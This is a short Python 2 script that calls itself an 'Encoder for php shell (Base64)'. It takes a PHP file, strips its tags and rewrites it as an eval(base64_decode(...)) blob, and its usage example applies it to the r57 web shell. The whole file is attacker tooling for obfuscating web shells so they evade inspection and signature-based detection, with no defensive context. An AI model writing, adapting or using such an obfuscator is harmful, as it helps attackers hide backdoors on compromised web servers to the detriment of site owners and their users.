#!/usr/bin/python

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#####   ______/_   |  ____    /  |  |  #####
#####  /  ___/ |   | /    \  /   |  |_ ##### 
#####  \___ \  |   ||   |  \/    ^   / #####
##### /____  > |___||___|  /\____   |  #####
#####      \/            \/      |__|  #####
#####                                  #####
#####  Encoder for php shell (Base64)  #####
#####   s1n4_c0der[at]yahoo[dot]com    #####
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import base64, sys, os

def main() :

  try :
    Input = str(sys.argv[1])
    Output = str(sys.argv[2])
  except:
    print \"\n[*]Usage: %s <Input file> <Output file>\" % os.path.basename(sys.argv[0])
    exit()

  try :
    ifile = open(Input, \"rb\").read()
  except :
    print \"\n[-]Sorry, can't open input file\"
    exit()

  try :
    if \"<?php\" in ifile :
      ifile = ifile.replace(\"<?php\", \"\")

    if \"<?\" in ifile :
      ifile = ifile.replace(\"<?\", \"\")

    ifile = ifile.replace(\"?>\", \"\")
  except :
    pass

  x = \"<?php\neval(base64_decode('\"
  y = base64.b64encode(ifile)
  z = \"'));\n?>\"

  try :
    ofile = open(Output, \"w\")
    ofile.write(x + y + z)
    ofile.close()
    print \"\n[+]Done ;)\"
  except :
    print \"\n[-]Sorry, can't make output file\"

main()

#Usage:
#encoder.py <input file> <output file>

#For example :
#encoder.py r57.php r57-encoded.php